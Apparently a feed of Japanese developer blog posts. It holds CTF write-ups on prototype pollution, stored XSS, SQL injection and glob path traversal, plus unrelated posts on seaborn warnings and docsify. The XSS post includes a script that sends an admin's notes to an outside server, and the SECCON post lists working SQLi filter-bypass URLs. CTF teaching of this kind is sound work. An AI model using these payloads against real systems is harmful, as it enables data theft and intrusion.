結果として hoge のプロトタイプを操作しただけで、別のオブジェクトである fuga のプロパティが変わってしまいました。これを プロトタイプ汚染 と言います。

Node.js におけるプロトタイプ汚染攻撃とは、外部からプロトタイプ汚染を起こし、 Node.js 環境の Web サーバーに攻撃することを指します。

問題の概要

実際に出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

image.png

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。また、ソースコードも公開して解いてもらいました。

2つ目の FLAG に関わるサーバサイドのコードが下記です(見やすさのために一部改変)。

import * as bodyParser from 'body-parser'
import * as express from 'express'
import { clone, hashPassword } from './utils'
...

const app = express()
app.use(bodyParser.json())
...

app.post('/api/login', async (req, res) => {
  const params: LoginQuery = clone(req.body)
  User.findOne({
    attributes: ['id', 'name'],
    where: { name: params.name, password: hashPassword(params.password) },
  })
    .then(instance => {
      if (instance) {
        const user: any = instance.get()
        req.session!.user = user.id
        if (user.name === user.admin) {
          res.send(process.env.FLAG2)
        } else {
          const result: LoginResult = { success: true, data: { name: user.name }, errors: [] }
          res.json(result)
        }
      } else {
        const result: LoginResult = { success: false, data: null, errors: ['Invalid name or password'] }
        res.json(result)
      }
    })
    .catch(_ => {
      const result: LoginResult = { success: false, data: null, errors: ['Invalid name or password'] }
      res.json(result)
    })
})

/api/login というエンドポイントで、POST された name と password からユーザをデータベースから探してきて、存在すればログイン成功、存在しない場合はログイン失敗、というのが基本的な処理です。

そして、ユーザが存在してかつ user.name === user.admin の場合のみ、FLAG が手に入ります。
ただし、 User テーブルに admin というカラムは存在しないため、普通に考えると user.adminundefined のため、どうやっても FLAG は手に入りません。

解答/解説

2 行目の const params: LoginQuery = clone(req.body) の中の clone という関数が Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記 に出てくるものと同様で、 ディープコピーする際に __proto__ もコピーできてしまいます。

そこで、以下のような JSON を POST すると、 clone により Object.prototype.admin"hoge" となり、 user.name === user.admin === "hoge" となるため FLAG が手に入ります。

{
  "name": "hoge",
  "password": "fuga",
  "__proto__": {
    "admin": "hoge"
  }
}

苦労した点

一度プロトタイプが汚染されると、想定外のところで副作用を起こしてクラッシュする(新規ユーザを作成する際や、テンプレートエンジンを使う場合にはレンダリングする際にクラッシュする)ので、誰かが攻撃に成功すると毎回手動で再起動しなきゃ行けないです。

本格的に作問する前に PoC の段階で気が付いてたのですが、まあチーム内 CTF 程度の規模感なら毎回手動で再起動で大丈夫だろうと思って作問しました。(結果としては全然大丈夫でした)
ただ、オンラインの CTF で出題する際には何か工夫が必要だろうなぁと思いました。

また、最初は user.admin が true の時に FLAG が手に入るようにしようかなと思ったのですが、そうすると誰かが攻撃に成功した瞬間に他の人も( user.admin が true になってしまい) FLAG が手に入ってしまうため、 user.name === user.admin という少し変な条件にしました。

参考

チーム内CTFで作問した話 - XSS編

この記事は m1z0r3 Advent Calendar 2018 の8日目です。

前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。

問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。

image.png

ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。

解答

普通にアプリケーション上のエディタで XSS を試しても <script> タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

<script>
  fetch('/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>

ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

「あれ、XSS できない!?」

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid にアクセスしたとき)に以下の手順を踏みます。

  1. Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
  2. index.js が実行され、 React が DOM を生成
  3. ノートの内容を取得するために axios で /api/notes/:uuid を叩く(その間は Loading ... が表示される)
  4. API の結果を元に再度 React がノートを描画する

まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。

そこで、React では dangerouslySetInnerHTML というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script> も実行されると思っていたのですが、 dangerouslySetInnerHTML で挿入した <script> は実行されません。1

どうやら MDN によると、 Element.innerHTML<script> を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'> などで XSS できる のですが(なので dangerouslySetInnerHTML を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。

XSS させるためにした工夫

さて、実際には onerror 等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script> を実行できるように頑張りました。

実は element.appendChild() を用いると <script> を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script> をすべて探し出し、 appendChild で最後にまとめて追加しました。

const fragment: DocumentFragment = document.createDocumentFragment()

const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)

const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
  const element = document.createElement('script')
  element.type = 'text/javascript'
  element.async = true
  if (script.src) element.src = script.src
  element.innerHTML = script.innerHTML
  fragment.appendChild(element)
}

this.state.instance.appendChild(fragment)

これにより、無理やりですが、ノートに書かれた script を実行できるようになりました。

seabornでMatplotlibDeprecationWarningが出る場合の対処法

追記 (2019年4月29日)

以前出した 本件の修正プルリクエスト がマージされたので、最新版ではもうこの警告は出ないと思います。


Python で Matplotlib を使う時に seaborn を使うと綺麗なグラフが描画できるのでよく使っています。

しかし、 seaborn を使っている時に以下のような警告が出るようになりました。

/Users/xxxx/.local/share/virtualenvs/xxxx/lib/python3.7/site-packages/matplotlib/__init__.py:855: MatplotlibDeprecationWarning:
examples.directory is deprecated; in the future, examples will be found relative to the 'datapath' directory.
  "found relative to the 'datapath' directory.".format(key))
/Users/xxxx/.local/share/virtualenvs/xxxx/lib/python3.7/site-packages/matplotlib/__init__.py:846: MatplotlibDeprecationWarning:
The text.latex.unicode rcparam was deprecated in Matplotlib 2.2 and will be removed in 3.1.
  "2.2", name=key, obj_type="rcparam", addendum=addendum)

環境は以下の通り。

>>> import seaborn as sns
>>> sns.__version__
'0.9.0'
>>> sns.mpl.__version__
'3.0.2'

TL;DR

  • seaborn.reset_orig() を呼び出すと上記の警告が出る。
  • matplotlibrc 等で RC パラメータを設定していない場合は、 seaborn.reset_orig() の代わりに seaborn.reset_defaults() を使えばいい。
  • matplotlibrc 等で RC パラメータを設定している場合は、 warnings.filterwarnings で警告を消すしかない。
import warnings
warnings.filterwarnings('ignore', category=matplotlib.MatplotlibDeprecationWarning)

結論としては本当に身も蓋もない感じだが、調べても情報がなかったので記録として残しておく。

追記 (2019年1月4日)
コメントで @skotaro さんに、警告が出ている原因となる RC パラメータを直接除くことでも解決できることを教えていただきました :pray:

import seaborn as sns
del sns._orig_rc_params['examples.directory']
del sns._orig_rc_params['text.latex.unicode']

原因

色々試したところ seaborn.reset_orig() が警告の原因だった。
ソースコード (https://github.com/mwaskom/seaborn) を見ると、以下のようになっている。

seaborn/rcmod.py
from . import palettes, _orig_rc_params


def reset_defaults():
    """Restore all RC params to default settings."""
    mpl.rcParams.update(mpl.rcParamsDefault)


def reset_orig():
    """Restore all RC params to original settings (respects custom rc)."""
    mpl.rcParams.update(_orig_rc_params)
seaborn/__init__.py
# Capture the original matplotlib rcParams
import matplotlib as mpl
_orig_rc_params = mpl.rcParams.copy()

この _orig_rc_params はただの辞書であり、その中に examples.directorytext.latex.unicode といった Deprecated な RC パラメータが含まれているのが警告の原因である。

なお reset_defaults()reset_orig() という二つの関数が用意されているのには理由がある。

  • reset_defaults() : Matplotlib のデフォルトのパラメータに戻す。
  • reset_orig() : seaborn が読み込まれる直前のパラメータに戻す。

reset_orig() は、 matplotlibrc 等で seaborn が読み込まれる前に RC パラメータが変更された場合でも、 seaborn が読み込まれる前の状態に戻すことができる。

ちなみに、 mpl.rcParams.copy()mpl.rcParamsDefault では以下のように型が異なる。

>>> import matplotlib as mpl
>>> type(mpl.rcParamsDefault)
<class 'matplotlib.RcParams'>
>>> type(mpl.rcParams.copy())
<class 'dict'>

追記 (2019年1月10日)

この件について seaborn に Issue を立てて 修正のプルリクエスト を送ったところ、seaborn の作者から以下のような返信が来ました。

Thanks. I agree that this warning is annoying. But it's ultimately harmless, and reset_orig should be a rarely called function. I would worry that catching all deprecation warnings would cause us to miss cases where matplotlib deprecates parameters that are relevant to seaborn. Ultimately the costs of doing so outweigh the benefits of reducing a bit of noise, in my view.

ざっくり訳すとこんな感じ。

ありがとう。この警告がうるさいことには同意します。しかし、これは結局のところ無害であり、そもそも reset_orig は滅多に呼ばれない関数であるべきです。私はすべての非推奨の警告を無視した場合に、matplotlib が seaborn に関連するパラメータを非推奨にしたときに見逃すかもしれないことを心配しています。結局、そうするコストとノイズを少し減らすメリットを考えた時に、コストの方が上回るというのが私の考えです。

ということなので、警告は我慢しましょう。

SECCON 2019 Online CTF Write-up

今年も SECCON 2019 Online CTFに参加しました。

自分は web_search (212 pt) と fileserver (345 pt) を解いたのでその Write-up を書きます。

web_search

いかにも SQLi できそうな感じの Web サイト

image.png

やることは UNION Based SQLi なのですが、いくつか制約があります。

  • orという文字列が取り除かれる
  • スペースが使えない
  • カンマ ,が使えない

一つ目の orが使えないのは oorrに置き換えればバイパスできます。
二つ目のスペースが使えない問題は、いくつか対応法があるみたいですが、自分は %0b(タブ文字)で代用しました。

ここまでで、UNION する際に必要なカラム数は取得できます。

http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#

ORDER BYの値を 1, 2, ... と増やしていった結果、4 でエラーが発生したのでカラム数は 3 だとわかります。

さて、三つ目のカンマが使えない問題ですが、https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/を参考にするとバイパスできることがわかりました。

あとはいつも通りで、まずは information_schema から必要な情報を SQLi で抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#

flagテーブルから FLAG を抜き出します。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#

これで FLAG が手に入るかと思ったら、一部( You_Win_Yeah})しか手に入らなかった。
仕方ないので、 articlesテーブルの方も見てみる。

http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#

前半部分( SECCON{Yeah_Sqli_Success_)が手に入り、繋げると FLAG になる。

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver

Ruby の標準ライブラリ WEBrick で Web サーバが立ち上がっている。

image.png

req.pathの最後が /の場合、そのディレクトリ配下のファイルの一覧が返ってきます。

files=Dir.glob(".#{req.path}*")

そうでない場合、マッチしたファイルの中身が返ってきます。

matches=Dir.glob(req.path[1..])file=File.open(matches.first,'rb')res['Content-Type']=server.config[:MimeTypes][File.extname(req.path)[1..]]res.body=file.read(1e6)

FLAG は /tmp/flags/#{SecureRandom.alphanumeric(32)}.txtにあるので、ディレクトリトラバーサルする必要があります。

FileUtils.cp('flag.txt',"/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")

解答

Dir.glob()ですが、 docs.ruby-lang.orgを見ると次のように書いてあります。

パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。

よって、以下のようにすると /tmp/flags/*のファイル一覧を返してくれます。

http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/

FLAG のファイル名が手に入ったので、同様にファイルの中身を取得しようとすると、以下の箇所でエラー(ヌル文字が含まれているという内容)が発生します。

res['Content-Type']=server.config[:MimeTypes][File.extname(req.path)[1..]]

パスのチェックを行う is_bad_pathメソッドをうまくバイパスすると FLAG が手に入る。
[{の優先順位の違いから、[を使うと {}が使える)

http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
SECCON{You_are_the_Globbin'_Slayer}

作業手順書を docsify で作成する

この記事は NTTコミュニケーションズ Advent Calendar 2019の10日目の記事です。
昨日は @tetrapod117さんの Cloud RunでSlackの分報をちょっとだけ楽しくしてくれるBotを作ってみたでした。

はじめに

こんにちは。インターネットマルチフィード@koki-satoです。
普段は transixというサービスの運用・開発などを行なっています。

Infrastructure as Code という言葉が広く浸透している現代でも、残念ながら手順書を書く機会はあります。特に、ネットワーク機器などの物理機器を扱う業務では手順書を書くことが多いかと思います。
弊チームでは、これまでずっと社内の PukiWiki を使って手順書を書いていましたが、PukiWiki 記法(および PukiWiki のエディタ)で書くのがつらかったり、誰が編集したのか証跡が残らないなどの問題がありました。

なぜ docsify なのか?

今回、脱 PukiWiki に当たって最低限以下の要件がありました。

  • Git 管理したい(ついでに GitLab の merge request で手順書のチェック・承認フローを行いたい)
  • Markdown で書きたい

単純に社内の GitLab のリポジトリに Markdown ファイルを置いて参照するだけでも良いのですが、せっかくなのでドキュメントサイトを用意したいところです。そこで今回は docsifyを使ってみました。

docsifyは静的サイトジェネレータの一つで、Markdown ファイルから簡単にドキュメントサイトを作ることができます。

image.png

特徴としては ビルドが不要で、docsify-cli initした際に生成される index.htmlと Markdown ファイルだけで動作します。
公式ホームページに GitHub Pages などへの デプロイ方法がありますが、ビルドが不要なためどれも簡単にデプロイできます。

ちなみに、他にもドキュメント作成ツールの候補として GitBookSphinxMkDocsなども検討したのですが、以下の理由から docsify にしました。

  • GitBook は gitbook-cli がもうメンテナンスされていない
  • Sphinx は reStructredText の印象が強い
  • Sphinx や MkDocs は普段 python を使わないチームで python の環境構築を強いるため導入コストが高い

docsify の使い方

docsify を使うには docsify-cliを install する必要があります。以下は Yarn でプロジェクト内に install した場合の手順です。

$ yarn add -D docsify-cli

# 初期化$ yarn docsify init ./docs

# ローカルサーバ立ち上げ$ yarn docsify serve docs

たったこれだけでローカル環境でドキュメントサーバを作ることができます。

あとは _sidebar.md_navbar.mdによって Sidebar や Navbar の設定もできます。詳しくは 公式のドキュメントがわかりやすいのでそちらを参照してください。

多少工夫したところ

docsify が優秀だったので、特に何も考えなくてもいい感じにドキュメントサイトを作れてしまったのですが、強いて言うと工夫した点をいくつか紹介します。

手順書へのリンクの生成

大まかにリポジトリの構成は以下のようになっています。

.
├── docs
│   ├── 2017
│   ├── 2018
│   ├── 2019
│   │   ├── YYYYMMDD_作業名
│   │   │   ├── README.md    // 手順書
│   │   │   ├── _sidebar.md  // サイドバー(ToC 用)
│   │   │   └── image.png    // 手順書内で使う画像等
│   │   ├── YYYYMMDD_作業名
│   │   │   ...
│   │   └── README.md
│   ├── README.md
│   ├── _sidebar.md
│   └── index.html
├── node_modules
├── package.json
├── script
└── yarn.lock

手順書の数が多すぎてサイドバーに載せられなかったので、 docs/YYYY/README.mdにその年度に行われた作業の手順書のリンクを載せ、その README.mdへのリンクをサイドバーに載せました。

image.png

手順書表示時に ToC をサイドバーに表示

docsify ではサイドバーの項目を _sidebar.mdで設定できるのですが、基本的には先ほど説明したように docs/YYYY/README.mdへのリンクしかありません。

しかし、手順書を表示した場合は ToC がサイドバーにあった方が何かと便利です。_sidebar.mdはデフォルトの設定だと Override 可能なので、 docs/YYYY/YYYYMMDD_作業名/_sidebar.mdを以下のような内容で作成することで ToC を表示させました。

-[YYYYMMDD_作業名](YYYY/YYYYMMDD_作業名/README.md)

image.png

git commit 時にリンクを自動生成

docs/YYYY/README.mddocs/YYYY/YYYYMMDD_作業名/_sidebar.mdは手順書を作成するたびに更新しないといけません。それでは手順書を作成する人に負担がかかりますし、追加ミスなどが起こる可能性があります。そこで huskyを使って git commit時に hook して、これらのファイルを自動生成して commit 対象に含めるようにしました。

package.json
{"scripts":{...,"generate-links":"ts-node script/generate-links.ts"},"husky":{"hooks":{"pre-commit":"yarn generate-links && git add docs/20*/README.md docs/**/_sidebar.md"}}}

おわりに

docsify で簡単にドキュメントサイトを作ってみました。
また、単に Markdown ファイルを読み込んでいるだけなので、もし将来的に docsify を使わないという選択になったとしても、簡単に外すことができるのも良い点だと思います。

明日は @a0x41さんの記事です。

Browsing Latest Articles All 11 Live